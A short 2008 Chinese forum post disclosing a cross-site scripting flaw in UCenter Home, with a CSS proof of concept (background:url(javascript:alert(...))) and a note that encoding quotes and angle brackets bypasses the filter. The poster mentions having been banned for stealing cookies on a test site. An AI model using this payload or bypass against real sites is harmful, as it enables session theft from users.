严重跨站漏洞

注意背景音乐 http://www.cxzhe.com/?3
因为在5G测试偷COOKIES，我都被波波封了一次了
http://www.5gsns.com/space-718-do-blog-id-11854.html

原因：CSS里可以执行JS，而UCH只替换了 " < > 改成相应%22 %3C %3E 就能执行了
<style type="text/css">
body{
background:url(javascript:alert("xxxsss"));
}
</style>

[ 本帖最后由 刘天宇 于 2008-8-4 01:45 编辑 ]

下个版本会在用户组里面进行限制

http://www.im286.net/space.php?uid=199072